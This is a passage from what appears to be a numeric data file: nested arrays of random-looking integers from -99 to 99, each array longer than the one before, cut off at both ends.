70,-92,-9,87,47,62,23,-24,7,-95,-12,-57,82,47,-13,-64,88,49,-34,-91,-75,52,51,12,59,-64,-6,-96,77,20,61,24,27,-71,11,-25,90,-65,27,-2,-61,91,17,97,38,80,-67,4,6,-2,12,30,-73,-37,-57,86,-25,13,66,-70,-66,28,53,37,33,-35,88],[24,-24,15,98,14,-17,15,11,98,-28,20,2,78,94,-86,8,-78,-47,27,-92,28,-59,50,57,-49,-45,10,64,88,51,53,12,-73,-55,-13,40,28,-98,-72,26,-27,47,-95,-72,42,-82,36,40,-30,-60,47,74,-43,-3,31,-16,29,-81,-51,17,69,78,-94,96,-77,-8,13,27,-7,18,-47,42,-58,-66,70,60,-49,-17,0,-2,-1,-76,-28,33,-2,80,-83,-73,98,-58,43,44,-80,48,40,-57,-83,-69,46,-14,25,99,-95,66,-90,51,27,-39,-66,-96,35,10,-72,-93,-80,2,86,-64,28,61,-45,-52,6,-26],[72,-77,-7,88,-70,-60,-26,54,-84,-22,21,-75,-70,-75,-38,-60,-95,96,26,-91,80,45,10,43,58,-62,-18,-87,-15,87,-37,-66,86,33,-78,-83,72,-28,47,64,50,-32,65,56,-31,-95,72,-49,-99,-1,-41,57,-56,69,1,78,-93,82,90,-31,46,-46,2,9,86,1,25,35,72,-27,-24,-1,17,-59,-68,63,-55,-95,-86,-77,-20,-28,79,0,-82,-43,-21,-75,-84,-31,-30,38,-1,48,-52,-38,-74,49,73,75,98,-51,-26,16,-33,-17,-44,11,-13,-54,33,43,17,-10,-57,35,23,21,36,16,67,82,-69,-34,30],[-45,5,33,-95,-45,8,-97,4,58,-5,70,-59,27,-42,4,72,68,-53,-33,-42,-10,78,57,-89,14,-50,54,-27,-19,97,-97,35,2,12,16,56,-80,-4,-63,78,90,-93,-81,18,-35,23,-33,-90,69,33,-33,-64,11,-99,-76,-75,-72,77,-26,-15,74,-46,-80,-24,65,13,-90,85,-91,-54,63,98,-70,81,-7,-29,-19,60,-20,-72,-7,23,-37,-95,0,-14,-94,27,-59,-20,-88,-85,33,-91,-32,-2,21,-46,-40,6,-24,-77,4,5,81,74,52,-61,11,-91,-34,80,8,6,61,-91,68,67,12,-91,-76,1,-76,33,-14,-32],[-92,-93,21,-32,12,96,-33,92,-21,-52,43,-69,-13,-46,-83,29,-88,24,-65,72,9,-96,16,-78,88,39,-1,88,-51,84,-44,-66,90,76,-22,-21,73,44,-52,-48,69,68,-41,-67,98,-25,61,-90,99,73,82,8,53,-2,6,41,-85,-95,30,-37,88,62,-4,55,39,73,-89,-11,-5,-64,40,-36,-96,75,-27,-98,-49,-66,88,-73,83,70,34,36,-32,-82,-45,-18,-78,84,22,87,46,94,19,-38,45,30,50,-60,42,-33,-20,45,-57,52,23,-7,62,11,19,46,-42,-70,-18,3,-76,13,61,-77,-3,-17,-90,-79,-45,28,-41],[99,-65,-90,-84,76,-47,-28,-2,-5,-76,98,87,85,-14,-17,8,44,-10,90,-53,13,-20,-92,35,77,-32,21,74,-1,-50,-90,-2,-39,-81,-10,-85,-51,61,-11,43,61,-36,8,46,50,67,-45,-29,-43,-78,-6,70,1,-22,5,-45,22,-73,-94,-79,-47,-84,-5,-10,-89,84,-19,-41,22,47,79,-17,-89,-13,-70,60,-46,-39,-92,-12,-41,1,-42,36,56,39,68,-22,42,50,-1,71,65,93,-61,53,55,19,88,-23,-34,44,60,-46,-69,66,90,-38,-96,98,49,-38,-24,83,74,-68,22,42,10,-58,-7,85,-87,-65,55,-49,64,10],[47,30,87,89,-26,24,-57,5,-33,-66,43,-30,-68,-8,8,-16,-25,-18,16,73,-98,-97,-85,-6,87,-95,5,42,-68,-30,-70,78,99,93,45,-27,17,87,54,83,-79,-26,-70,-71,65,37,-10,-83,-81,-94,67,-80,84,81,-10,71,62,95,-10,94,-58,-4,49,-59,-11,-6,-10,82,-18,-78,42,-21,-5,71,-15,-62,8,74,-69,27,56,97,23,40,56,-86,-12,18,85,54,-11,-73,-49,-61,-56,16,32,10,-1,90,31,-59,-53,-96,-87,8,-82,20,-18,-52,-76,-85,-77,47,54,78,37,-81,-27,22,72,62,25,99,-99,68,16,9,-45],[-85,0,86,-45,23,66,-56,-69,83,41,-11,-92,64,3,-70,-12,-66,84,-98,-71,-42,0,-99,96,-75,-99,96,69,-7,5,-75,7,81,87,38,-19,53,82,11,13,23,76,-3,-36,-44,4,52,-34,-12,53,-6,22,-46,-5,18,-45,-28,-9,-75,64,73,-51,-52,54,-64,85,-87,65,44,0,-45,-56,-23,51,8,9,-45,-63,75,20,66,-31,-58,96,40,37,-48,-88,-72,-47,52,-99,-22,76,32,13,62,44,-45,-17,-56,9,4,-3,-63,88,-93,-8,-98,58,88,67,-73,-93,41,67,43,69,55,71,-78,-15,48,-1,-39,-20,88,99,-99,-80],[-40,-78,5,63,18,41,51,1,-90,52,-64,97,-4,-37,-95,-86,-93,47,82,38,-5,80,-77,-56,-44,-16,0,-56,-40,1,-60,19,22,44,-18,-83,-14,-90,-5,-5,38,30,-30,-65,69,-26,-52,75,97,-92,14,-30,87,13,-10,-56,73,89,-36,-66,-33,-19,52,88,-75,-88,82,-13,-79,-46,59,59,83,-71,70,53,-21,94,5,-47,-98,95,22,66,9,-88,86,-18,78,-50,15,-55,30,-32,-89,32,-44,69,-81,-24,-77,77,-88,-94,82,81,35,-62,53,-59,-9,31,-64,89,-3,21,78,-17,-96,56,10,18,77,-83,62,64,48,-82,33,44,-29],[55,-2,-18,38,-42,-59,-50,-5,93,-10,85,24,3,52,98,-76,30,-42,-96,-37,44,-1,-83,61,-39,81,-14,-44,-9,-93,3,-53,5,84,61,62,-98,-89,-66,94,-22,96,-4,57,48,-29,57,-22,5,61,17,-50,-40,33,-89,-3,-9,-27,29,82,-20,-68,-94,61,93,66,0,94,53,33,66,-92,29,-61,64,-46,-14,22,31,90,-40,-75,-60,19,58,-73,92,-74,0,22,-92,56,53,-87,-6,23,78,93,18,9,3,-39,16,-90,-1,-42,-37,61,56,71,51,-84,95,91,11,30,94,3,56,-6,-75,63,-73,55,76,20,-22,31,-10,72,-83,70],[-67,33,79,8,67,-58,-31,23,-87,97,15,-91,88,-97,15,82,5,-29,-46,7,-88,-43,-61,64,54,-7,-28,-79,-34,-11,90,-25,98,69,60,42,-88,-94,-35,-99,-97,56,85,67,58,1,27,-60,48,57,46,59,90,61,0,44,-45,72,65,-3,-62,55,71,-64,2,8,77,13,-9,-81,-10,-30,74,-24,-85,9,76,41,48,24,-25,-28,-39,-35,-67,60,86,-13,32,51,83,69,-17,32,81,84,-83,35,-26,7,53,64,54,4,-60,68,89,92,-14,38,-7,60,-90,53,-98,-81,-9,87,6,-77,15,-34,69,98,97,27,59,91,-37,-66,-2,92,74],[-48,-26,90,96,-37,82,-18,-99,-25,-81,86,-94,-79,-94,-4,84,-12,-5,-23,53,-59,-25,28,68,-89,19,-92,-79,93,99,94,-77,-27,84,-81,13,43,-22,-10,95,-4,-46,-99,-7,-64,-27,-22,23,67,54,-47,85,-94,57,53,-84,-47,37,-86,-76,36,-92,-77,86,69,-59,-1,-11,-5,65,-16,91,-81,-39,-16,-46,33,38,76,-22,-31,-93,-37,-49,40,92,-56,93,29,-43,-83,-58,-59,-61,-72,-90,-44,3,-1,28,-31,59,19,-36,-79,79,18,30,-5,-29,-92,63,-23,-53,91,-82,-84,-65,87,44,-9,80,63,31,95,67,18,-72,-29,93,55,16,52,-49],[79,72,-69,-3,-20,2,45,-36,-58,98,11,-67,92,3,-33,79,-75,34,36,87,-57,31,54,37,59,-98,30,-9,17,-41,42,-26,-68,72,47,-12,-49,-8,51,-8,-9,-61,25,-17,42,68,-60,66,-20,75,53,-1,7,7,-64,-57,9,42,33,-97,-99,-25,-24,-91,-76,-99,-4,-26,-8,-52,66,59,-14,-32,-80,-72,-87,-41,70,-8,-66,23,67,17,-92,-97,36,-7,21,-30,-5,22,21,48,30,45,25,-96,95,-83,-49,38,53,13,82,72,18,95,-92,-12,-36,-59,88,-68,35,72,-89,-29,-35,32,17,36,-69,-61,-39,60,60,85,63,32,79,90,-29,32,4],[-70,-19,98,-75,-12,-14,-34,5,-26,-3,-60,-77,-16,-12,-13,-84,-95,-99,-54,-80,-39,83,56,-53,23,-11,-74,-9,36,34,94,65,-85,92,67,2,-45,-67,-93,6,6,-76,28,89,11,92,82,-8,92,-72,-11,-47,87,-55,-24,-12,33,1,78,-31,-88,72,-88,-74,41,78,27,72,-89,11,-22,16,34,-93,5,-55,98,-36,13,67,-31,-98,-80,-44,-76,-4,43,56,73,21,-97,85,-30,-86,87,87,91,15,60,78,-74,-62,-6,36,-79,75,57,95,-60,-30,62,8,-51,59,40,-28,-68,-39,-72,81,58,-93,66,-71,96,31,92,64,-54,52,42,-52,67,-87,83,64],[88,40,37,-95,86,-24,-11,-65,-65,-71,6,-57,-11,11,-75,-52,-6,90,-47,-9,-2,-78,-45,43,74,97,67,18,86,27,-41,74,-33,95,55,-69,-51,-56,-35,-40,-50,48,3,15,-64,27,39,29,-6,91,96,92,-86,-71,35,64,-97,-20,-41,88,-93,-6,63,-49,-33,-5,-19,15,39,22,74,65,-30,-23,-20,-18,-96,-80,88,-25,87,84,-33,77,-87,78,18,-85,-42,53,-96,-35,-52,43,-8,14,-62,72,-94,53,-29,79,-5,18,-66,75,99,-86,71,87,-12,35,49,54,-10,61,33,-92,53,67,61,33,-91,85,-47,0,-24,-10,-51,-19,-79,20,-63,-8,-62,-53,-56],[-86,-39,-85,-98,25,27,50,-20,-83,-12,89,-99,-82,33,38,50,42,23,-97,-81,98,-30,-32,-44,-33,64,-30,58,78,16,79,91,76,93,92,-21,-3,19,58,13,84,24,14,-98,-43,-48,29,75,52,8,94,27,54,-61,83,97,-97,-47,33,80,45,12,71,22,5,41,-99,79,-63,35,-8,-79,-64,82,99,-31,-88,5,-55,63,-87,-61,-10,44,-46,-50,41,-44,-21,-26,-87,-75,85,60,23,-32,1,0,-53,38,-65,15,35,-53,-25,11,15,-14,-84,59,-51,-94,74,15,49,-72,42,-33,-40,-79,18,-28,-78,3,-67,44,47,10,-56,70,-75,-45,-14,37,1,60,-52,93],[-54,-36,52,-29,-54,4,62,94,31,-19,-62,68,2,55,-83,0,-41,-74,-55,82,36,-35,53,37,-3,-84,-26,74,75,22,67,97,62,-3,-55,-92,-99,83,78,8,-35,-84,-47,43,71,-30,-57,-93,-5,-36,65,-69,29,18,45,-74,33,-81,99,-15,17,44,-18,-21,-59,3,-37,-82,-13,-59,2,51,-66,55,-29,81,-75,13,87,19,77,29,27,-17,-52,-51,-15,57,-33,-39,-57,61,-95,1,-83,-55,-95,-20,-61,-32,-3,41,95,30,-27,-34,11,-26,78,-25,69,32,-95,-4,91,-71,21,-24,85,88,37,-72,26,18,6,42,40,10,98,78,77,-27,-4,72,-97,45,-85,-9,-81],[69,42,88,2,23,-39,-30,51,82,23,37,47,-63,41,-27,54,-53,91,-6,33,67,-50,-13,-60,45,-64,-81,-9,-50,9,-14,-80,-71,-26,-2,51,35,67,3,17,-33,-83,-59,3,34,13,-42,58,-19,51,-9,-52,77,55,-13,23,90,6,90,-59,91,-24,-63,-80,27,34,48,-38,-22,-72,55,45,-56,95,-52,54,-15,-18,12,65,-89,80,-86,87,12,-23,10,2,82,-23,19,51,30,32,47,-43,-34,-5,-5,21,22,-73,-34,42,-78,-10,-3,-17,72,85,-52,82,65,-62,69,-23,15,-43,56,-26,10,-48,-75,-60,84,72,-27,-73,-33,67,47,89,93,89,8,91,-20,-95,-26,-71],[90,-1,-89,32,36,56,86,-49,-87,19,25,0,70,26,39,31,-2,-87,58,42,56,5,8,27,-5,-84,-5,51,-79,69,79,87,-55,89,-4,57,45,-18,-91,35,-99,10,-65,48,-87,50,-21,11,39,-63,-47,-4,19,37,99,90,52,-6,41,49,-60,20,36,-16,9,-67,-58,-69,-9,-73,42,-8,13,53,-83,25,4,-28,-87,-57,9,-58,15,-95,78,14,94,31,85,35,-20,-75,-45,-83,-14,40,-74,27,47,16,30,-33,84,-57,-80,-99,44,0,-27,57,20,58,98,-88,39,77,26,33,-15,-12,-55,64,12,-24,57,97,92,59,1,39,-24,-92,82,-63,-50,-97,-62,71,-21,-13,5],[98,-78,3,-89,60,-43,13,-30,18,-99,14,-17,-11,66,-83,-36,58,76,64,-26,-71,72,-43,-35,98,-64,-21,46,14,65,-49,-10,63,31,-23,23,64,89,69,-17,66,-17,42,-68,-51,35,-5,83,11,-63,-42,16,85,-9,81,60,26,-40,7,-83,-97,34,6,65,-35,82,-34,-93,48,-65,-11,-9,-5,-92,0,20,42,94,4,-69,-92,38,46,92,-71,4,53,54,64,-63,47,43,70,-69,8,-87,89,50,-81,38,85,-16,-94,-43,-9,5,76,-90,-23,-20,-60,-39,-82,63,-46,-77,-33,83,76,-92,96,1,50,43,31,-64,55,20,85,50,-65,47,-89,-59,-96,-22,22,80,-12,75,-63,4],[-63,-68,-33,-33,-46,11,-73,-92,18,-77,8,-54,42,-61,-19,-2,58,-57,-75,93,90,-64,-89,93,13,9,50,77,-38,87,-18,-2,-81,25,41,-28,-87,67,-21,31,66,63,53,8,-98,-66,82,37,-24,84,30,-57,-80,17,-63,9,-97,86,-13,-36,50,45,38,68,-53,-21,-82,-40,-77,-27,67,65,-63,20,-49,-62,53,-67,51,-94,93,-42,-51,89,74,-38,-1,77,-52,62,-82,98,7,56,43,53,-88,60,-87,-65,-66,79,76,-30,-1,-73,-16,-71,-63,-64,-88,-70,-7,-40,-80,-55,21,18,98,45,-43,-84,20,63,48,-36,-7,60,-99,-17,94,-89,-38,70,-43,38,74,41,43,-89,53,54,-60],[-77,90,-64,-56,-12,30,-81,-66,86,-65,30,26,82,93,-80,19,71,2,13,81,40,-39,-61,-45,-65,56,98,-78,-14,29,-62,-15,20,-26,6,-92,80,24,-82,67,35,48,-30,-5,18,-11,-86,-11,67,4,-29,-15,64,-14,39,75,-81,14,73,4,-56,-89,65,40,-39,-29,24,-58,95,42,85,30,-33,-68,-75,84,-2,-61,-49,-35,42,21,26,-17,83,-34,-65,-98,79,-92,-18,99,94,-53,16,-44,18,-59,-26,13,59,-64,-57,-74,-33,-55,-90,64,-17,-40,-93,-98,57,32,-16,17,97,-5,-5,54,2,76,30,-4,-76,-53,28,41,-13,-98,-69,-54,-63,-50,-52,-19,-6,-66,-55,53,-29,-49,31,-95],[60,91,22,57,-14,-83,-12,87,70,-81,-39,93,-35,88,11,28,90,18,50,-96,67,97,-16,-61,-92,6,68,-22,33,0,-17,-7,-9,81,-72,54,97,15,41,44,10,78,37,51,67,-75,-44,34,42,-94,14,-13,79,98,25,87,-19,-30,-35,-86,69,24,-16,-62,5,11,91,-20,-97,9,-76,-10,-12,38,-59,-68,62,-3,65,-18,-21,-21,45,-41,-46,-53,-77,34,16,-36,25,-14,88,85,0,-30,-4,-9,49,-25,76,50,64,-36,-12,82,-5,-73,-44,-63,-15,34,16,-70,69,46,-24,68,-42,92,-67,82,-45,97,44,54,-33,-60,-78,93,-9,97,43,-44,-61,-92,-62,33,-66,-7,70,-4,-96,-37,25],[73,-91,-98,41,-34,70,50,-75,-75,47,68,55,-85,84,76,-92,-24,50,27,31,88,34,45,-1,44,-85,-31,-60,94,31,42,44,16,20,-14,82,-10,-87,-93,-9,60,52,-77,51,36,75,35,-88,25,-38,19,-9,95,-59,89,16,-68,-65,33,-73,42,-25,70,-42,71,-67,-83,-62,-54,-99,28,82,52,50,33,-12,2,-32,-23,-73,29,72,-6,1,-86,-17,93,-55,17,26,-29,-41,77,-58,17,48,-49,33,85,-4,10,-10,-22,-38,-83,-89,50,18,-45,-96,22,83,75,-84,-39,88,-1,-45,-89,92,57,-42,-48,35,-24,45,-40,27,-45,-54,-77,65,35,-22,-73,29,-12,53,-53,43,33,45,3,9,61,41],[-26,-40,95,-16,-71,29,42,-20,-36,-82,-98,24,21,-43,46,44,98,-42,-78,-75,86,-14,55,-66,-94,-12,78,-14,73,16,-73,-52,52,98,31,81,27,-50,-62,91,-55,-60,-8,65,-4,-62,-14,-6,-5,-16,-5,-18,70,-73,-8,52,15,-53,-62,-35,63,-36,12,-8,-61,-79,-27,66,-53,11,34,-9,50,-74,-66,-77,-60,-4,-7,34,80,64,92,27,91,-39,-21,-17,-15,-6,47,-75,34,-63,16,73,-43,66,16,3,-23,-50,71,-96,-48,81,-97,-9,-23,-28,-98,-66,-64,71,37,-96,-68,-83,-37,-7,10,-89,17,-56,-76,-66,93,-20,99,9,59,-47,58,30,-67,86,-12,-65,-46,65,6,-67,75,18,-96,13,22],[-88,6,84,5,92,71,-78,-87,94,-68,-93,-26,-69,-8,-66,-40,-72,40,-8,-86,-71,26,-32,70,-91,0,45,27,-20,-65,-51,-9,17,-67,72,9,81,71,22,75,-97,5,-73,-66,96,-63,-7,-76,53,85,-85,81,-12,-18,28,-3,58,-49,-76,-85,-15,-28,-18,-97,-19,-45,-12,-61,-74,-90,91,-72,-9,-82,-62,-12,-69,8,-12,60,-30,2,42,57,60,-53,-69,-5,-3,-46,9,59,2,68,38,60,99,-74,98,-75,-87,89,-71,-20,83,-56,67,90,28,-67,51,97,34,-30,31,-28,16,39,66,90,92,-47,26,-28,-79,-36,-68,-80,-34,-93,-79,-45,73,-74,35,56,-31,-21,24,73,11,-25,70,-77,21,-21,-6,-86],[-82,-40,-96,86,-11,29,-42,9,69,-34,28,-64,-50,25,-33,-77,51,-98,55,96,-42,-21,70,45,30,17,67,-72,72,-62,-58,89,-25,-78,53,63,28,-89,-27,-3,-46,77,9,-20,-20,76,2,-69,54,-66,-96,-88,-10,73,57,96,-32,1,-75,-60,39,-57,-70,-86,-36,82,76,91,69,-74,-34,99,80,74,-21,-40,50,57,-10,5,68,-30,-7,-42,-56,-50,-69,11,28,-45,50,-33,-26,56,-20,38,15,-67,6,-38,-41,71,-62,-84,46,17,-25,-27,-49,41,54,-81,-89,-52,-47,-46,-26,-16,41,-98,15,-31,-55,89,-98,1,4,17,34,-90,55,69,58,92,84,4,-14,-41,53,14,76,8,9,86,32,62,-82,82,-77],[35,61,37,-96,-94,3,-94,7,-93,-1,-82,93,-69,63,51,-77,47,-45,9,82,84,99,58,-8,8,21,-99,-30,38,83,-31,-26,21,-93,-46,26,-14,-64,-90,-7,11,-96,-14,41,66,-63,64,-10,-32,-50,-51,-48,-51,83,21,33,5,-2,-96,-80,-19,-28,-7,78,-45,24,5,41,59,-9,-89,-29,-28,-4,-88,-85,9,52,5,76,78,30,-95,-96,14,2,37,95,-99,17,91,-42,65,-38,-63,97,85,18,38,44,-91,25,-85,-43,-79,-96,-28,6,32,53,-18,11,-17,-37,-9,73,65,-72,45,42,44,37,99,-13,98,-64,-16,83,30,98,4,16,23,-4,72,43,-1,-56,-51,-92,96,7,18,-43,46,-90,-70,-12,-86,52],[-70,35,-11,-93,-78,-13,-58,5,-53,72,3,50,-35,-74,-54,-63,45,21,-19,70,29,-46,-46,-76,10,76,-67,17,-35,-76,-31,-29,58,34,-23,79,97,19,-39,-56,-32,40,70,32,42,-83,45,-36,14,-74,-89,-57,-43,-36,-56,43,-83,-24,-40,-19,-24,5,52,-66,-61,-71,89,-87,24,-50,-44,68,89,-73,-23,8,-80,99,71,10,-98,81,53,-42,-55,96,-98,-61,-51,-62,19,25,20,-52,35,58,-46,25,71,54,51,-96,0,18,-93,76,-74,-97,75,97,13,77,78,-34,-88,-99,-61,89,-61,-36,-72,34,65,47,59,-22,-18,-87,-97,-70,66,30,-66,-34,-52,-83,-80,-26,-80,71,-52,32,25,-74,74,37,-97,89,26,-59,-70],[30,52,95,-23,11,-27,36,23,-48,65,-34,58,75,9,-93,69,28,-43,88,-24,4,-3,78,6,-52,15,9,-86,-82,26,-57,25,-22,-85,78,88,-13,14,-12,15,-43,54,-26,-91,-37,-43,77,67,13,42,-80,93,-61,97,-1,-14,-11,84,-1,-16,11,19,-91,88,33,86,54,97,-22,-58,12,34,72,62,42,-65,95,-3,78,-15,-61,98,-22,-22,72,54,40,-38,15,-83,45,-74,12,53,91,-55,16,45,-58,93,63,31,4,36,-7,-76,47,-34,20,26,50,58,1,-94,-87,-27,59,30,11,-26,23,-44,-23,-65,-91,-32,-21,2,89,-2,-5,29,-71,76,-35,-2,99,-87,63,-4,15,14,-69,92,19,-79,-58,-45,27,53,5,-50],[-91,81,-39,94,-74,39,-4,91,-86,67,21,-58,20,85,40,-4,74,-20,91,-34,70,99,-65,-11,-80,-23,20,46,-93,-74,72,-85,83,-67,85,86,48,-42,77,62,-74,-25,80,45,-39,-3,-58,-88,77,-90,-45,47,-91,-11,-86,-95,42,10,27,48,35,-1,40,-4,8,25,-18,-43,83,-41,95,85,34,75,7,71,-27,48,59,-73,35,90,73,20,-43,63,2,98,-26,-71,47,85,5,-13,-19,-87,88,62,-54,71,98,-82,56,9,70,-36,-43,-57,88,92,-54,0,83,-81,-79,-60,59,22,-85,-67,27,38,94,-68,-98,-24,-78,90,-85,-56,61,89,-38,-5,-25,-68,35,8,-49,23,1,-4,-76,-39,-9,-79,-23,-50,19,-32,-41,-54,-93],[-69,-45,-92,6,-24,97,-3,-4,36,-36,57,-69,38,65,65,-53,-84,-35,24,11,-35,61,79,-15,-85,-94,80,-18,-58,-73,-35,-28,-42,-27,54,10,-53,-49,-94,59,-9,63,66,-93,5,8,-47,21,73,53,-91,-85,-9,64,-23,5,70,-43,63,-88,-40,-71,-40,17,-22,-86,-73,24,-59,-90,-16,32,49,-50,38,-46,58,67,51,8,-3,37,22,64,1,98,-31,-29,-44,-91,-41,-8,-63,18,-90,14,8,-87,-84,49,98,-24,-42,47,25,72,-98,-40,39,29,67,-87,-34,-33,76,67,-35,-78,-85,-3,-70,-26,89,-56,68,75,34,-23,64,26,-97,63,-98,-40,-13,4,-68,-35,63,47,94,8,36,-40,74,12,-73,-84,10,-58,-10,16,-8,-21],[59,-40,-69,-29,13,71,96,15,11,75,74,98,-21,82,-37,-58,29,-43,26,-35,17,0,53,20,-7,-37,38,82,79,-70,-62,15,-33,-55,62,79,-84,36,-5,27,11,-31,2,89,-48,64,-92,57,-78,34,99,15,-89,52,-88,3,92,50,-38,48,56,-24,-37,-77,20,-97,-97,13,38,-26,-83,-51,19,18,-85,47,-18,-78,5,-20,55,4,71,66,-67,83,-54,-75,10,-15,49,-34,60,89,-11,-42,91,-32,70,29,41,86,54,-40,-19,68,-92,39,89,-11,-80,22,69,67,-12,-98,50,10,-96,-63,94,52,3,32,41,91,89,9,-64,36,-62,76,-1,68,-87,79,36,-80,18,3,8,14,-75,-23,-41,-11,-44,85,75,-64,-77,47,64,25,-21],[-17,-7,-32,91,28,80,-93,-19,-21,74,-7,-42,-12,13,52,67,97,-56,91,-48,2,-43,-16,-13,-68,19,9,78,-17,-66,-66,65,26,-22,34,-69,-42,40,11,36,14,-95,70,78,-6,0,45,-32,43,13,-4,-55,69,79,31,78,-2,-82,33,58,-72,67,0,31,-55,-66,61,3,73,-50,-84,-35,-69,63,-80,24,-37,65,68,-94,-22,-35,-73,-75,-79,34,-97,19,51,35,-46,79,-21,30,-13,24,64,-52,-96,14,-3,95,55,27,58,75,-72,97,17,73,-97,71,-62,-94,95,-42,40,74,53,-32,-13,83,-76,65,14,10,-34,-22,35,-54,68,-91,-58,24,13,76,-24,40,74,92,13,53,63,27,59,36,62,-24,10,-8,20,73,-24,44,16,89],[-69,81,-56,65,-72,-88,51,-54,12,-36,98,87,-96,72,56,-6,3,20,97,-38,-67,59,14,19,-48,-66,-7,27,54,-91,-7,85,66,36,27,70,24,-45,-84,-86,18,-85,-99,-1,63,57,92,-34,-46,66,4,-14,26,-82,-95,54,-48,-26,-42,82,-18,50,44,-74,-37,-51,95,63,3,-88,76,-78,-97,54,20,65,-12,-11,-91,41,-45,12,-96,57,30,84,11,58,-41,45,40,17,-5,-38,42,34,10,38,-2,-87,26,-26,-89,5,-72,7,-30,15,72,-45,-67,-95,67,-87,61,-26,74,-50,-68,-67,94,48,26,-33,86,-54,-99,-4,60,-2,-14,-14,49,-27,90,76,80,-63,-31,52,-8,-22,56,-64,-32,-5,9,-58,21,40,-26,-8,-35,76,58,-48,98],[59,24,58,-43,-90,-79,-94,-17,87,59,-60,-75,-95,68,-7,-41,25,28,26,96,-63,67,17,53,-82,-91,94,94,44,-77,69,3,47,28,36,33,48,19,-84,36,-45,-68,37,-41,-99,-70,17,2,34,-56,-2,47,87,91,0,-94,76,-29,76,-3,-6,45,99,-59,-27,13,50,98,-68,43,11,-14,74,-52,21,74,-46,-85,-24,64,-65,50,11,-77,18,87,-95,-28,-42,80,68,28,2,45,45,52,-42,-4,50,-34,-61,-62,28,89,-15,-51,64,15,-60,-83,-44,-25,44,66,-26,-61,30,-22,10,64,-42,-44,-7,59,-99,-85,11,-42,-13,-62,23,25,-25,-72,-8,36,-24,-67,-72,-8,-74,-17,66,69,-74,-60,-91,55,17,-5,20,51,50,89,-12,50,-96,75],[84,-32,-86,-16,69,-35,11,-39,-98,63,-7,-71,-44,19,-11,98,-35,14,-61,-50,-30,32,45,66,-16,-5,55,71,-77,35,46,-93,-97,36,-9,72,-98,78,-90,79,42,3,84,74,98,-27,72,-37,87,87,13,-66,20,-42,99,80,29,31,28,51,-57,-49,35,-77,87,-74,94,65,80,-96,44,22,-17,5,-27,-19,78,-54,44,42,-67,-66,52,29,-9,28,9,96,-41,-63,48,-22,-12,-40,0,-25,-38,-29,-83,-58,-48,60,41,34,-58,-86,92,96,-64,36,38,-31,46,-33,97,-63,94,7,-90,-70,20,34,8,-92,93,-92,-41,-45,-21,-25,-3,7,-88,-62,-59,-46,-72,-67,-50,-36,45,65,32,-9,-91,6,4,-96,89,14,-67,10,-52,17,-6,-58,2,53,-4],[80,-95,69,-36,-83,-93,4,-53,-65,14,-27,-2,-41,-62,-93,50,-53,-11,-69,-73,-21,44,-64,65,69,53,-41,-89,-45,88,-17,-88,93,-47,-25,-90,-64,78,-67,-53,-8,5,21,28,20,27,-45,66,-83,-15,69,-28,-93,-95,-86,75,57,-28,62,-88,-62,-55,99,-69,-26,-26,-83,10,-70,-51,56,-2,53,-45,-74,-50,81,-20,-84,74,42,61,-77,48,66,-64,23,23,-15,-15,12,22,29,11,52,80,62,45,-33,91,70,-77,-11,0,-46,15,50,-64,71,65,86,13,27,-90,-39,-30,-78,60,69,6,-55,-19,-72,51,69,56,31,31,1,97,22,-29,96,-89,71,-49,2,21,-37,-49,-37,-74,63,66,-65,-98,-64,-66,61,-94,39,-93,-37,67,34,-68,23,-35,39,-98],[-61,-39,-51,-88,-51,-80,-61,27,17,1,77,57,27,41,0,38,19,36,71,-20,18,-12,-37,57,-45,96,66,54,-62,5,32,-47,43,81,-35,91,77,3,-5,-28,81,-27,-71,-15,90,28,-77,9,-59,71,88,35,-41,-48,-30,-10,-75,-64,-79,-37,17,53,15,-40,11,56,-72,-35,-40,23,36,-59,95,41,2,85,-53,24,-6,-13,-28,-41,99,7,-13,-31,73,-11,-19,71,28,97,1,-80,-42,-88,76,-15,-24,-87,84,89,-70,79,30,31,41,76,-68,-88,-59,4,-52,-60,87,34,-15,38,99,65,9,27,62,-90,47,96,-79,23,-41,-27,35,-57,-38,64,99,69,-5,40,45,26,29,62,-93,76,-98,71,-13,-37,9,-13,-72,-82,-86,67,-73,60,63,-76,-40,-78,-27],[94,-58,12,35,-59,-19,-70,57,-97,33,-14,65,16,-61,43,-13,3,83,95,89,-89,89,79,54,-84,17,18,-84,76,16,-34,48,57,77,-17,74,-65,-10,9,-63,99,94,78,15,-89,-1,-97,13,-18,74,-21,-31,64,-42,-76,56,51,18,49,28,-66,-85,-24,68,91,35,42,-74,-98,-49,-61,-99,-77,94,16,-90,-30,-5,-1,51,-54,77,96,86,-88,-80,43,63,37,-31,-32,48,-17,43,16,-49,-45,-65,-47,-43,-37,-9,-43,-38,-38,49,-29,31,-79,69,-41,-33,23,-44,-47,34,-48,72,-26,66,-59,41,14,0,-39,-93,50,16,-82,-97,49,-20,-29,-94,18,9,32,88,-82,52,34,-24,95,-66,8,-51,68,60,-79,-81,26,-61,60,-83,38,-79,-77,-34,13,-60,-55,-38],[-3,-8,-32,-85,-98,76,80,-81,28,-9,-29,24,25,79,49,-30,16,46,-12,-81,84,-52,-65,0,-54,-66,42,58,-50,86,-79,23,-44,-35,38,-66,-59,-5,-71,45,85,-1,-31,10,-45,94,56,70,41,-55,65,2,-31,99,78,14,-90,20,-50,-63,-16,-30,59,39,11,-3,72,51,68,-99,-27,54,-1,19,-59,31,13,97,1,-46,-81,-33,33,-36,-57,11,55,-70,-91,-95,-34,-8,-49,-75,-69,61,-1,-97,-11,-33,79,61,97,-45,-20,-61,85,70,-87,-36,-99,-92,7,33,-29,49,-78,-74,55,-70,-93,-79,21,-43,-77,28,94,21,7,-17,64,-14,-78,62,40,-22,77,3,-52,66,66,-74,73,-27,58,-56,98,56,-53,54,85,-47,51,-17,-13,73,-89,-19,-6,17,41,-41,-97],[39,97,20,-83,74,99,-58,40,65,-33,-10,-85,-98,10,89,58,56,43,43,86,-28,-73,-27,-55,-86,30,16,31,-29,74,10,86,48,-93,-96,-1,-94,-78,-84,70,-12,5,61,-34,-85,51,-76,48,-29,44,34,42,47,83,87,60,-10,3,-9,38,-46,-98,24,78,-92,27,-23,-86,25,-8,60,89,73,22,-44,87,-50,-21,12,20,99,-77,-37,46,-94,-73,7,-27,6,74,-89,36,52,34,14,60,-61,90,50,63,-41,-13,53,-91,85,-91,95,-65,-36,-15,32,-59,7,71,86,-10,97,-7,62,-20,-55,72,-84,96,6,29,33,44,-4,-40,-15,31,47,-62,39,9,-77,11,44,-37,95,-24,3,-20,-53,-33,69,-79,36,8,0,80,-43,15,77,62,-79,10,-16,16,70,45,-76,-6],[59,62,-97,81,-27,23,-79,-54,98,1,25,-78,67,-6,-81,3,78,-5,-16,-65